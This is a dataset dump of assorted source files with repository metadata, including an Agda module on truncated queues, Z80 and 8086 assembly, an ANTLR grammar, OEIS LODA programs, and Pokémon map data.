max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
src/Processors/project_processor-processors-processor_tables.ads
fintatarta/eugen
0
27661
with Plugins.Tables; package Project_Processor.Processors.Processor_Tables is new Plugins.Tables (Root_Plugin_Type => Abstract_Processor, Plugin_Parameters => Processor_Parameter, Plugin_ID => Processor_ID, Constructor => Create);
src/Queue/Truncated.agda
nad/equality
3
16625
------------------------------------------------------------------------ -- Truncated queues: any two queues representing the same sequence are -- equal, and things are set up so that at compile-time (but not at -- run-time) some queue operations compute in roughly the same way as -- the corresponding list operations ------------------------------------------------------------------------ {-# OPTIONS --erased-cubical --safe #-} import Equality.Path as P module Queue.Truncated {e⁺} (eq : ∀ {a p} → P.Equality-with-paths a p e⁺) where open P.Derived-definitions-and-properties eq open import Logical-equivalence using (_⇔_) open import Prelude open import Bijection equality-with-J as Bijection using (_↔_) open import Equality.Path.Isomorphisms eq open import Erased.Cubical eq hiding (map) open import Function-universe equality-with-J as F hiding (id; _∘_) open import List equality-with-J as L hiding (map) open import H-level equality-with-J open import H-level.Closure equality-with-J open import H-level.Truncation.Propositional eq as Trunc import Queue equality-with-J as Q open import Sum equality-with-J open import Surjection equality-with-J using (_↠_) private variable a b : Level A B : Type a p q x : A f : A → B xs : List A s s₁ s₂ : Very-stableᴱ-≡ A ------------------------------------------------------------------------ -- Queues -- The queue type family is parametrised. module _ -- The underlying queue type family. (Q : ∀ {ℓ} → Type ℓ → Type ℓ) -- Note that the predicate is required to be trivial. Perhaps the -- code could be made more general, but I have not found a use for -- such generality. ⦃ is-queue : ∀ {ℓ} → Q.Is-queue (λ A → Q A) (λ _ → ↑ _ ⊤) ℓ ⦄ where abstract -- Queues indexed by corresponding lists, and truncated so that -- any two queues that stand for the same list are seen as equal. -- -- The type is abstract to ensure that a change to a different -- underlying queue type family does not break code that uses this -- module. -- -- <NAME> suggested to me that I could use parametrisation -- instead of abstract. (Because if the underlying queue type -- family is a parameter, then the underlying queues do not -- compute.) I decided to use both. (Because I want to have the -- flexibility that comes with parametrisation, but I do not want -- to force users to work in a parametrised setting.) Queue_⟪_⟫ : {A : Type a} → @0 List A → Type a Queue_⟪_⟫ {A = A} xs = ∥ (∃ λ (q : Q A) → Erased (Q.to-List _ q ≡ xs)) ∥ -- Queues. Queue : Type a → Type a Queue A = ∃ λ (xs : Erased (List A)) → Queue_⟪_⟫ (erased xs) -- The remainder of the code uses an implicit underlying queue type -- family parameter, and an extra instance argument. module _ {Q : ∀ {ℓ} → Type ℓ → Type ℓ} ⦃ is-queue : ∀ {ℓ} → Q.Is-queue (λ A → Q A) (λ _ → ↑ _ ⊤) ℓ ⦄ ⦃ is-queue-with-map : ∀ {ℓ₁ ℓ₂} → Q.Is-queue-with-map (λ A → Q A) ℓ₁ ℓ₂ ⦄ where abstract -- Queue Q ⟪ xs ⟫ is a proposition. Queue-⟪⟫-propositional : {@0 xs : List A} → Is-proposition (Queue Q ⟪ xs ⟫) Queue-⟪⟫-propositional = truncation-is-proposition -- Returns the (erased) index. @0 ⌊_⌋ : Queue Q A → List A ⌊_⌋ = erased ∘ proj₁ -- There is a bijection between equality of two values of type -- Queue Q A and erased equality of the corresponding list indices. ≡-for-indices↔≡ : {xs ys : Queue Q A} → Erased (⌊ xs ⌋ ≡ ⌊ ys ⌋) ↔ xs ≡ ys ≡-for-indices↔≡ {xs = xs} {ys = ys} = Erased (⌊ xs ⌋ ≡ ⌊ ys ⌋) ↝⟨ Erased-≡↔[]≡[] ⟩ proj₁ xs ≡ proj₁ ys ↝⟨ ignore-propositional-component Queue-⟪⟫-propositional ⟩□ xs ≡ ys □ -- If a queue equality holds under the (non-dependent) assumption -- that equality is very stable for the carrier type, then it also -- holds without this assumption. -- -- For an example of a lemma which has this kind of assumption, see -- Queue.from-List≡foldl-enqueue-empty. strengthen-queue-equality : {q₁ q₂ : Queue Q A} → (Very-stable-≡ A → q₁ ≡ q₂) → q₁ ≡ q₂ strengthen-queue-equality {q₁ = q₁} {q₂ = q₂} eq = _↔_.to ≡-for-indices↔≡ [ ⌊ q₁ ⌋ ≡⟨ cong ⌊_⌋ (eq (Very-stable→Very-stable-≡ 0 (erased Erased-Very-stable))) ⟩∎ ⌊ q₂ ⌋ ∎ ] ------------------------------------------------------------------------ -- Conversion functions mutual abstract -- The right-to-left direction of Queue-⟪⟫↔Σ-List (defined -- below). Note that there is no assumption of stability. Σ-List→Queue-⟪⟫ : {@0 ys : List A} → (∃ λ xs → Erased (xs ≡ ys)) → Queue Q ⟪ ys ⟫ Σ-List→Queue-⟪⟫ = _ -- Agda can infer the definition. -- If ys : List A and equality is very stable (with erased proofs) -- for A, then Queue Q ⟪ ys ⟫ is isomorphic to the type of lists -- equal (with erased equality proofs) to ys. -- -- Note that equality is very stable for A if A has decidable -- equality. Queue-⟪⟫↔Σ-List : {@0 ys : List A} → Very-stableᴱ-≡ A → Queue Q ⟪ ys ⟫ ↔ ∃ λ xs → Erased (xs ≡ ys) Queue-⟪⟫↔Σ-List {ys = ys} s = Bijection.with-other-inverse Queue-⟪⟫↔Σ-List′ Σ-List→Queue-⟪⟫ (λ _ → from-Queue-⟪⟫↔Σ-List′) where abstract Queue-⟪⟫↔Σ-List′ : Queue Q ⟪ ys ⟫ ↔ ∃ λ xs → Erased (xs ≡ ys) Queue-⟪⟫↔Σ-List′ = ↠→↔Erased-singleton (Q.Queue↠List _) (Very-stableᴱ-≡-List 0 s) from-Queue-⟪⟫↔Σ-List′ : _≡_ {A = Queue Q ⟪ ys ⟫} (_↔_.from Queue-⟪⟫↔Σ-List′ p) (Σ-List→Queue-⟪⟫ p) from-Queue-⟪⟫↔Σ-List′ = refl _ -- If equality is very stable (with erased proofs) for A, then -- Queue Q A is isomorphic to List A. Queue↔List : Very-stableᴱ-≡ A → Queue Q A ↔ List A Queue↔List {A = A} s = Queue Q A ↔⟨⟩ (∃ λ (xs : Erased (List A)) → Queue Q ⟪ erased xs ⟫) ↝⟨ (∃-cong λ _ → Queue-⟪⟫↔Σ-List s) ⟩ (∃ λ (xs : Erased (List A)) → ∃ λ ys → Erased (ys ≡ erased xs)) ↝⟨ Σ-Erased-Erased-singleton↔ ⟩□ List A □ mutual -- The right-to-left direction of Queue↔List. (Note that equality -- is not required to be very stable with erased proofs for the -- carrier type.) from-List : List A → Queue Q A from-List = _ -- Agda can infer the definition. _ : _↔_.from (Queue↔List s) ≡ from-List _ = refl _ -- The forward direction of Queue↔List s. to-List : Very-stableᴱ-≡ A → Queue Q A → List A to-List s = _↔_.to (Queue↔List s) abstract -- The function to-List returns the index. @0 ≡⌊⌋ : to-List s q ≡ ⌊ q ⌋ ≡⌊⌋ {s = s} {q = q} = to-Σ-Erased-∥-Σ-Erased-≡-∥↔≡ (Q.Queue↠List _) (Very-stableᴱ-≡-List 0 s) q -- Queue Q A is isomorphic to List A in an erased context. The -- forward direction of this isomorphism returns the index directly. @0 Queue↔Listⁱ : Queue Q A ↔ List A Queue↔Listⁱ {A = A} = Queue Q A ↔⟨⟩ (∃ λ (xs : Erased (List A)) → Queue Q ⟪ erased xs ⟫) ↝⟨ drop-⊤-right (λ _ → _⇔_.to contractible⇔↔⊤ $ propositional⇒inhabited⇒contractible Queue-⟪⟫-propositional $ _↔_.from (Queue-⟪⟫↔Σ-List (Very-stable→Very-stableᴱ 1 $ Very-stable→Very-stable-≡ 0 $ erased Erased-Very-stable)) (_ , [ refl _ ])) ⟩ Erased (List A) ↝⟨ Very-stable→Stable 0 $ erased Erased-Very-stable ⟩□ List A □ private @0 to-Queue↔Listⁱ-, : _↔_.to Queue↔Listⁱ q ≡ ⌊ q ⌋ to-Queue↔Listⁱ-, = refl _ -- The forward directions of Queue↔List and Queue↔Listⁱ match. @0 to-Queue↔List : _↔_.to (Queue↔List s) q ≡ _↔_.to Queue↔Listⁱ q to-Queue↔List = ≡⌊⌋ -- Variants of Queue↔List and Queue↔Listⁱ. Maybe[×Queue]↔List : Very-stableᴱ-≡ A → Maybe (A × Queue Q A) ↔ List A Maybe[×Queue]↔List {A = A} s = Maybe (A × Queue Q A) ↝⟨ F.id ⊎-cong F.id ×-cong Queue↔List s ⟩ Maybe (A × List A) ↝⟨ inverse List↔Maybe[×List] ⟩□ List A □ @0 Maybe[×Queue]↔Listⁱ : Maybe (A × Queue Q A) ↔ List A Maybe[×Queue]↔Listⁱ {A = A} = Maybe (A × Queue Q A) ↝⟨ F.id ⊎-cong F.id ×-cong Queue↔Listⁱ ⟩ Maybe (A × List A) ↝⟨ inverse List↔Maybe[×List] ⟩□ List A □ @0 to-Maybe[×Queue]↔List : ∀ xs → _↔_.to (Maybe[×Queue]↔List s) xs ≡ _↔_.to Maybe[×Queue]↔Listⁱ xs to-Maybe[×Queue]↔List {s = s} xs = _↔_.from List↔Maybe[×List] (⊎-map id (Σ-map id (_↔_.to (Queue↔List s))) xs) ≡⟨ cong (λ f → _↔_.from List↔Maybe[×List] (⊎-map id (Σ-map id f) xs)) (⟨ext⟩ λ _ → to-Queue↔List) ⟩∎ _↔_.from List↔Maybe[×List] (⊎-map id (Σ-map id (_↔_.to Queue↔Listⁱ)) xs) ∎ -- A lemma that can be used to prove "to-List lemmas". ⌊⌋≡→to-List≡ : Erased (⌊ q ⌋ ≡ xs) → to-List s q ≡ xs ⌊⌋≡→to-List≡ {q = q} {xs = xs} {s = s} eq = to-List s q ≡⟨ cong (to-List _) (_↔_.to ≡-for-indices↔≡ eq) ⟩ to-List s (from-List xs) ≡⟨ _↔_.right-inverse-of (Queue↔List _) _ ⟩∎ xs ∎ ------------------------------------------------------------------------ -- Some queue operations, implemented for Queue ⟪_⟫ module Indexed where abstract private -- A helper function that can be used to define unary -- functions on queues. unary : {A : Type a} {B : Type b} {@0 xs : List A} {@0 f : List A → List B} (g : Q A → Q B) → @0 (∀ {q} → Q.to-List _ (g q) ≡ f (Q.to-List _ q)) → Queue Q ⟪ xs ⟫ → Queue Q ⟪ f xs ⟫ unary {xs = xs} {f = f} g hyp = Trunc.rec truncation-is-proposition (uncurry λ q p → ∣ g q , [ Q.to-List _ (g q) ≡⟨ hyp ⟩ f (Q.to-List _ q) ≡⟨ cong f (erased p) ⟩∎ f xs ∎ ] ∣) -- Enqueues an element. enqueue : {@0 xs : List A} (x : A) → Queue Q ⟪ xs ⟫ → Queue Q ⟪ xs ++ x ∷ [] ⟫ enqueue x = unary (Q.enqueue x) Q.to-List-enqueue -- A map function. map : {@0 xs : List A} → (f : A → B) → Queue Q ⟪ xs ⟫ → Queue Q ⟪ L.map f xs ⟫ map f = unary (Q.map f) Q.to-List-map -- The result of trying to dequeue an element from an indexed -- queue. -- -- TODO: Perhaps it makes sense to make Q an explicit argument of -- this definition. Result-⟪_⟫ : {A : Type a} → @0 List A → Type a Result-⟪_⟫ {A = A} xs = ∃ λ (q : Maybe (A × Queue Q A)) → Erased (_↔_.to Maybe[×Queue]↔Listⁱ q ≡ xs) -- If equality is very stable (with erased proofs) for A, then -- Result-⟪ xs ⟫ is a proposition for lists xs of type List A. Result-⟪⟫-propositional : {@0 xs : List A} → Very-stableᴱ-≡ A → Is-proposition Result-⟪ xs ⟫ Result-⟪⟫-propositional {A = A} {xs = xs} s = $⟨ erased-singleton-with-erased-center-propositional (Very-stableᴱ-≡-List 0 s) ⟩ Is-proposition (Erased-singleton xs) ↝⟨ H-level-cong _ 1 (inverse lemma) ⦂ (_ → _) ⟩□ Is-proposition Result-⟪ xs ⟫ □ where lemma : _ ↔ _ lemma = Result-⟪ xs ⟫ ↔⟨⟩ (∃ λ (ys : Maybe (A × Queue Q A)) → Erased (_↔_.to Maybe[×Queue]↔Listⁱ ys ≡ xs)) ↝⟨ ∃-cong (λ ys → Erased-cong (≡⇒↝ _ $ cong (_≡ xs) $ sym $ to-Maybe[×Queue]↔List ys)) ⟩ (∃ λ (ys : Maybe (A × Queue Q A)) → Erased (_↔_.to (Maybe[×Queue]↔List s) ys ≡ xs)) ↝⟨ Σ-cong (Maybe[×Queue]↔List s) (λ _ → F.id) ⟩ (∃ λ (ys : List A) → Erased (ys ≡ xs)) ↔⟨⟩ Erased-singleton xs □ abstract -- Dequeuing. dequeue : {@0 xs : List A} → Very-stableᴱ-≡ A → Queue Q ⟪ xs ⟫ → Result-⟪ xs ⟫ dequeue {xs = xs} s = Trunc.rec (Result-⟪⟫-propositional s) (λ (q , [ eq ]) → ⊎-map id (Σ-map id λ q → _ , ∣ q , [ refl _ ] ∣) (Q.dequeue _ q) , [ _↔_.to Maybe[×Queue]↔Listⁱ (⊎-map id (Σ-map id (λ q → _ , ∣ q , [ refl _ ] ∣)) (Q.dequeue _ q)) ≡⟨⟩ _↔_.from List↔Maybe[×List] (⊎-map id (Σ-map id (_↔_.to Queue↔Listⁱ)) (⊎-map id (Σ-map id (λ q → _ , ∣ q , [ refl _ ] ∣)) (Q.dequeue _ q))) ≡⟨ cong (_↔_.from List↔Maybe[×List]) $ sym $ ⊎-map-∘ (Q.dequeue _ q) ⟩ _↔_.from List↔Maybe[×List] (⊎-map id (Σ-map id (Q.to-List _)) (Q.dequeue _ q)) ≡⟨ cong (_↔_.from List↔Maybe[×List]) $ Q.to-List-dequeue {q = q} ⟩ _↔_.from List↔Maybe[×List] (_↔_.to List↔Maybe[×List] (Q.to-List _ q)) ≡⟨ _↔_.left-inverse-of List↔Maybe[×List] _ ⟩ Q.to-List _ q ≡⟨ eq ⟩∎ xs ∎ ]) -- The inverse of the dequeue operation. This operation does not -- depend on stability. dequeue⁻¹ : {@0 xs : List A} → Result-⟪ xs ⟫ → Queue Q ⟪ xs ⟫ dequeue⁻¹ {xs = xs} (nothing , eq) = ∣ Q.empty , [ Q.to-List _ (Q.empty ⦂ Q _) ≡⟨ Q.to-List-empty ⟩ [] ≡⟨ erased eq ⟩∎ xs ∎ ] ∣ dequeue⁻¹ {xs = xs} (just (x , ys , q) , eq) = ∥∥-map (Σ-map (Q.cons x) (λ {q′} → Erased-cong λ eq′ → Q.to-List _ (Q.cons x q′) ≡⟨ Q.to-List-cons ⟩ x ∷ Q.to-List _ q′ ≡⟨ cong (x ∷_) eq′ ⟩ x ∷ erased ys ≡⟨ erased eq ⟩∎ xs ∎)) q -- The dequeue and dequeue⁻¹ operations are inverses. Queue-⟪⟫↔Result-⟪⟫ : {@0 xs : List A} → Very-stableᴱ-≡ A → Queue Q ⟪ xs ⟫ ↔ Result-⟪ xs ⟫ Queue-⟪⟫↔Result-⟪⟫ s = record { surjection = record { logical-equivalence = record { to = dequeue s ; from = dequeue⁻¹ } ; right-inverse-of = λ _ → Result-⟪⟫-propositional s _ _ } ; left-inverse-of = λ _ → Queue-⟪⟫-propositional _ _ } ------------------------------------------------------------------------ -- Some queue operations, implemented for Queue -- Note that none of these operations are abstract. module Non-indexed where -- Enqueues an element. enqueue : A → Queue Q A → Queue Q A enqueue x = Σ-map _ (Indexed.enqueue x) to-List-enqueue : to-List s (enqueue x q) ≡ to-List s q ++ x ∷ [] to-List-enqueue {s = s} {x = x} {q = q} = ⌊⌋≡→to-List≡ [ ⌊ q ⌋ ++ x ∷ [] ≡⟨ cong (_++ _) $ sym ≡⌊⌋ ⟩∎ to-List s q ++ x ∷ [] ∎ ] -- A map function. map : (A → B) → Queue Q A → Queue Q B map f = Σ-map _ (Indexed.map f) to-List-map : to-List s₁ (map f q) ≡ L.map f (to-List s₂ q) to-List-map {f = f} {q = q} {s₂ = s₂} = ⌊⌋≡→to-List≡ [ L.map f ⌊ q ⌋ ≡⟨ cong (L.map f) $ sym ≡⌊⌋ ⟩∎ L.map f (to-List s₂ q) ∎ ] private -- A variant of the result of the dequeue operation. Result : Type a → Type a Result A = ∃ λ (xs : Erased (List A)) → Indexed.Result-⟪ erased xs ⟫ -- Conversion lemmas for Result. Result↠Maybe[×Queue] : Result A ↠ Maybe (A × Queue Q A) Result↠Maybe[×Queue] = record { logical-equivalence = record { to = proj₁ ∘ proj₂ ; from = λ q → _ , q , [ refl _ ] } ; right-inverse-of = refl } Result↔Maybe[×Queue] : Very-stableᴱ-≡ A → Result A ↔ Maybe (A × Queue Q A) Result↔Maybe[×Queue] s = record { surjection = Result↠Maybe[×Queue] ; left-inverse-of = λ r → $⟨ from∘to r ⟩ Erased (⌊ from (to r) ⌋ʳ ≡ ⌊ r ⌋ʳ) ↝⟨ Erased-≡↔[]≡[] ⟩ proj₁ (from (to r)) ≡ proj₁ r ↝⟨ ignore-propositional-component (Indexed.Result-⟪⟫-propositional s) ⟩□ from (to r) ≡ r □ } where open _↠_ Result↠Maybe[×Queue] @0 ⌊_⌋ʳ : Result A → List A ⌊_⌋ʳ = erased ∘ proj₁ from∘to : ∀ r → Erased (⌊ from (to r) ⌋ʳ ≡ ⌊ r ⌋ʳ) from∘to (_ , _ , eq) = eq -- Queue Q A is isomorphic to Maybe (A × Queue Q A), assuming that -- equality is very stable (with erased proofs) for A. Queue↔Maybe[×Queue] : Very-stableᴱ-≡ A → Queue Q A ↔ Maybe (A × Queue Q A) Queue↔Maybe[×Queue] {A = A} s = Queue Q A ↝⟨ ∃-cong (λ _ → Indexed.Queue-⟪⟫↔Result-⟪⟫ s) ⟩ Result A ↝⟨ Result↔Maybe[×Queue] s ⟩□ Maybe (A × Queue Q A) □ mutual -- The inverse of the dequeue operation. This operation does not -- depend on stability. dequeue⁻¹ : Maybe (A × Queue Q A) → Queue Q A dequeue⁻¹ q = _ -- Agda can infer the definition. _ : _↔_.from (Queue↔Maybe[×Queue] s) ≡ dequeue⁻¹ _ = refl _ to-List-dequeue⁻¹ : to-List s (dequeue⁻¹ x) ≡ _↔_.from List↔Maybe[×List] (⊎-map id (Σ-map id (to-List s)) x) to-List-dequeue⁻¹ {x = nothing} = ⌊⌋≡→to-List≡ [ refl _ ] to-List-dequeue⁻¹ {s = s} {x = just (x , q)} = ⌊⌋≡→to-List≡ [ x ∷ ⌊ q ⌋ ≡⟨ cong (_ ∷_) $ sym ≡⌊⌋ ⟩∎ x ∷ to-List s q ∎ ] -- Dequeues an element, if possible. dequeue : Very-stableᴱ-≡ A → Queue Q A → Maybe (A × Queue Q A) dequeue s = _↔_.to (Queue↔Maybe[×Queue] s) to-List-dequeue : ⊎-map id (Σ-map id (to-List s)) (dequeue s q) ≡ _↔_.to List↔Maybe[×List] (to-List s q) to-List-dequeue {s = s} {q = q} = ⊎-map id (Σ-map id (to-List s)) (dequeue s q) ≡⟨ _↔_.to (from≡↔≡to (from-isomorphism List↔Maybe[×List])) $ sym to-List-dequeue⁻¹ ⟩ _↔_.to List↔Maybe[×List] (to-List s (dequeue⁻¹ (dequeue s q))) ≡⟨ cong (_↔_.to List↔Maybe[×List] ∘ to-List s) $ _↔_.left-inverse-of (Queue↔Maybe[×Queue] _) _ ⟩∎ _↔_.to List↔Maybe[×List] (to-List s q) ∎
libsrc/target/c128/playzb4sid.asm
jpoikela/z88dk
640
176917
<filename>libsrc/target/c128/playzb4sid.asm ; ;Based on the SG C Tools 1.7 ;(C) 1993 <NAME> ; ;$Id: playzb4sid.asm,v 1.5 2016-06-16 21:13:07 dom Exp $ ; ; extern void __LIB__ playzb4sid(uchar *SamStart, ushort SamLen); ; play 4 bit pulse wave encoded data using sid master volume SECTION code_clib PUBLIC playzb4sid PUBLIC _playzb4sid playzb4sid: _playzb4sid: ;call csv ;ld l,(ix+6) ;sample start addr ;ld h,(ix+7) ;ld e,(ix+8) ;sample length ;ld d,(ix+9) pop bc pop de ;sample length pop hl ;sample start addr push hl push de push bc ;----- ; <NAME> - fix for new SID, version 8580 push de ld e,7 ; voice address offset ld bc,$d406 ld a,$ff out (c),a ; Set sustain to $F ;add c,e ; next voice ld c,$06 + 7 out (c),a ;add c,e ; next voice.. ld c,$06 + 7 out (c),a ld bc,$d404 ld a,$49 ; Set SID test bit out (c),a ;add c,e ; next voice ld c,$04 + 7 out (c),a ;add c,e ; next voice.. ld c,$04 + 7 out (c),a pop de ;----- rep1: ;repeat ld bc,0dd0dh ; bc = timea2 addr rep2: ; repeat in a,(c) ; a = timer lo bit 0,a ; jr z,rep2 ; until interrupt flag set ld a,(hl) ; a = sample byte rrca ; a = a div 16 rrca ; rrca ; rrca ; and 0fh ; 4 bit nibble ld bc,0d418h ; bc = sidvol addr out (c),a ; set volume ld bc,0dd0dh ; bc = cia 2 icr rep3: ; repeat in a,(c) ; a = timer lo bit 0,a ; jr z,rep3 ; until interrupt flag set ld a,(hl) ; a = sample byte and 0fh ; a = a and 15 ld bc,0d418h ; bc = sidvol addr out (c),a ; set volume inc hl ; hl = hl+1 dec e ; jr nz,rep1 ; dec d ; de = de-1 jr nz,rep1 ;until de = 0 ;----- ; <NAME> - fix for new SID, version 8580 ld bc,$d404 ld e,0 resetsid: out (c),e inc c ld a,c cp $15 ; loop up to $d414 (all three oscillators) jr nz,resetsid ;----- ret
grammar/sav/ImportClass.g4
PSSTools/py-pss-parser
1
2416
/**************************************************************************** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. ****************************************************************************/ grammar ImportClass; import_class_decl: 'import' 'class' import_class_identifier (import_class_extends)? '{' import_class_method_decl* '}' ; import_class_extends: ':' type_identifier (',' type_identifier)* ; import_class_method_decl: method_prototype ';' ;
programs/oeis/281/A281023.asm
neoneye/loda
22
9643
; A281023: Partial sums of A067392. ; 0,2,5,11,16,31,38,58,76,111,122,176,189,252,312,384,401,518,537,667,772,915,938,1142,1217,1412,1547,1785,1814,2159,2190,2462,2693,3016,3226,3676,3713,4112,4424,4924,4965,5616,5659,6209,6704,7279,7326,8118,8314 lpb $0 mov $2,$0 sub $0,1 seq $2,67392 ; Sum of numbers <= n which have common prime factors with n. add $1,$2 lpe mov $0,$1
boilerplate.DOS.asm
jon-str/ASM_BOILERPLATE
0
105410
; ------------------------------------------------------------------------------------ ; BOILER PLATE ; FOR : 8086 / MS-DOS ; BY : JON-STR ; ON : 3-19-2018 ; ------------------------------------------------------------------------------------ ; COMPILER SETTINGS [CPU 8086] [BITS 16] ; COM ORIGIN org 0x100 section .text ; code sec global _start _start: ; entry point of program ; ARGS ( 0 ) : ( ) ; RETURN : *IGNORE RETURN* call print call exit empty: ; empty, does nothing ; ARGS ( 0 ) : ( ) ; RETURN : *IGNORE RETURN* push bp ; Save stack frame mov bp, sp ; Init stack frame nop pop bp ; restore stack frame ret exit: ; end of program ; ARGS ( 0 ) : ( ) ; RETURN : *IGNORE RETURN* mov ah, 0x4C int 0x21 section .data ; init'd data sec msg db 'Hello, World!', 0x0A len equ $-msg section .bss ; uinit'd data sec ; ------------------------------------------------------------------------------------ ; ATTN : DOCUMENTATION STANDARD EXAMPLE ; VERSION : 3.19.2018-1 ; AUTHOR : JON-STR ; ------------------------------------------------------------------------------------ ; { BEGIN - CUT - LINE - AFTER - } ; exit: ; end of program ; ARGS ( 0 ) : ( ) ; RETURN : *IGNORE RETURN* ; { END - CUT - LINE - BEFORE - } ; ------------------------------------------------------------------------------------
oeis/082/A082459.asm
neoneye/loda-programs
11
97006
; A082459: Multiply by 1, add 1, multiply by 2, add 2, etc. ; Submitted by <NAME>(s4) ; -1,-1,0,0,2,6,9,36,40,200,205,1230,1236,8652,8659,69272,69280,623520,623529,6235290,6235300,68588300,68588311,823059732,823059744,10699776672,10699776685,149796873590,149796873604,2246953104060,2246953104075,35951249665200,35951249665216,611171244308672,611171244308689,11001082397556402,11001082397556420,209020565553571980,209020565553571999,4180411311071439980,4180411311071440000,87788637532500240000,87788637532500240021,1931350025715005280462,1931350025715005280484,44421050591445121451132 mov $1,-1 lpb $0 sub $0,1 mov $2,$0 add $4,1 lpb $2 sub $0,1 add $1,1 mov $2,$3 lpe mul $1,$4 lpe mov $0,$1
docs/asm/tst-global.asm
lugovskovp/TrafficLight13
10
94892
./Release/tst-global.elf: file format elf32-avr Disassembly of section .text: 00000000 <__vectors>: 0: 09 c0 rjmp .+18 ; 0x14 <__ctors_end> 2: 16 c0 rjmp .+44 ; 0x30 <__bad_interrupt> 4: 15 c0 rjmp .+42 ; 0x30 <__bad_interrupt> 6: 14 c0 rjmp .+40 ; 0x30 <__bad_interrupt> 8: 13 c0 rjmp .+38 ; 0x30 <__bad_interrupt> a: 12 c0 rjmp .+36 ; 0x30 <__bad_interrupt> c: 11 c0 rjmp .+34 ; 0x30 <__bad_interrupt> e: 10 c0 rjmp .+32 ; 0x30 <__bad_interrupt> 10: 0f c0 rjmp .+30 ; 0x30 <__bad_interrupt> 12: 0e c0 rjmp .+28 ; 0x30 <__bad_interrupt> 00000014 <__ctors_end>: 14: 11 24 eor r1, r1 16: 1f be out 0x3f, r1 ; 63 18: cf e9 ldi r28, 0x9F ; 159 1a: cd bf out 0x3d, r28 ; 61 0000001c <__do_clear_bss>: 1c: 20 e0 ldi r18, 0x00 ; 0 1e: a0 e6 ldi r26, 0x60 ; 96 20: b0 e0 ldi r27, 0x00 ; 0 22: 01 c0 rjmp .+2 ; 0x26 <.do_clear_bss_start> 00000024 <.do_clear_bss_loop>: 24: 1d 92 st X+, r1 00000026 <.do_clear_bss_start>: 26: a1 36 cpi r26, 0x61 ; 97 28: b2 07 cpc r27, r18 2a: e1 f7 brne .-8 ; 0x24 <.do_clear_bss_loop> 2c: 02 d0 rcall .+4 ; 0x32 <main> 2e: 0d c0 rjmp .+26 ; 0x4a <_exit> 00000030 <__bad_interrupt>: 30: e7 cf rjmp .-50 ; 0x0 <__vectors> 00000032 <main>: 32: cf 93 push r28 34: df 93 push r29 36: cd b7 in r28, 0x3d ; 61 38: dd 27 eor r29, r29 3a: 10 92 60 00 sts 0x0060, r1 ; 0x800060 <_edata> 3e: 80 91 60 00 lds r24, 0x0060 ; 0x800060 <_edata> 42: 8f 5f subi r24, 0xFF ; 255 44: 80 93 60 00 sts 0x0060, r24 ; 0x800060 <_edata> 48: fa cf rjmp .-12 ; 0x3e <__SP_L__+0x1> 0000004a <_exit>: 4a: f8 94 cli 0000004c <__stop_program>: 4c: ff cf rjmp .-2 ; 0x4c <__stop_program>
libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_ide_browser_callee.asm
bahmanrafatjoo/z88dk
0
162544
; unsigned char esx_ide_browser(uint8_t browsercaps, void *filetypes, char *help, char *dst_sfn, char *dst_lfn) SECTION code_esxdos PUBLIC _esx_ide_browser_callee EXTERN asm_esx_ide_browser _esx_ide_browser_callee: pop af pop de pop bc pop hl pop ix exx pop bc push af ld a,c exx jp asm_esx_ide_browser
data/maps/objects/SilphCo7F.asm
opiter09/ASM-Machina
1
20279
SilphCo7F_Object: db $2e ; border block def_warps warp 16, 0, 1, SILPH_CO_8F warp 22, 0, 0, SILPH_CO_6F warp 18, 0, 0, SILPH_CO_ELEVATOR warp 5, 7, 3, SILPH_CO_11F warp 5, 3, 8, SILPH_CO_3F warp 21, 15, 3, SILPH_CO_5F def_signs def_objects object SPRITE_SILPH_WORKER, 1, 5, STAY, NONE, 1 ; person object SPRITE_SILPH_WORKER, 13, 13, STAY, UP, 2 ; person object SPRITE_SILPH_WORKER, 7, 10, STAY, NONE, 3 ; person object SPRITE_ERIKA, 10, 8, STAY, NONE, 4 ; person object SPRITE_ROCKET, 13, 1, STAY, DOWN, 5, OPP_ROCKET, 32 object SPRITE_SCIENTIST, 2, 13, STAY, DOWN, 6, OPP_SCIENTIST, 8 object SPRITE_ROCKET, 20, 2, STAY, LEFT, 7, OPP_ROCKET, 33 object SPRITE_ROCKET, 19, 14, STAY, RIGHT, 8, OPP_ROCKET, 34 object SPRITE_BLUE, 3, 7, STAY, UP, 9 ; person object SPRITE_POKE_BALL, 1, 9, STAY, NONE, 10, CALCIUM object SPRITE_POKE_BALL, 24, 11, STAY, NONE, 11, TM_SWORDS_DANCE def_warps_to SILPH_CO_7F
oeis/129/A129294.asm
neoneye/loda-programs
11
14652
; A129294: Number of divisors of n^3 - 1 that are not greater than n. ; Submitted by <NAME> ; 1,2,2,3,2,4,2,5,3,5,2,7,2,4,7,5,3,6,2,6,6,6,2,13,4,4,4,8,4,10,3,6,5,6,5,14,2,6,5,8,3,10,3,8,10,5,3,16,3,9,5,9,2,11,5,8,7,4,3,20,2,5,9,11,4,18,4,6,5,8,3,14,5,4,8,6,4,17,2,21,5,6,3,16,6,10,8,8,2,14,5,9,7,6,5,16,3,6,15,9 add $0,1 lpb $0 add $2,1 mov $3,$0 sub $0,1 pow $3,3 mod $3,$2 cmp $3,1 add $1,$3 lpe mov $0,$1 add $0,1
tests/macros/end_in_if_dup_macro_include.i.asm
cizo2000/sjasmplus
220
8302
<gh_stars>100-1000 MACRO test_end x? DUP 3 IF 0 < x? END ENDIF halt EDUP ENDM
ftm/qxy_hell.asm
zeta0134/bhop
4
171504
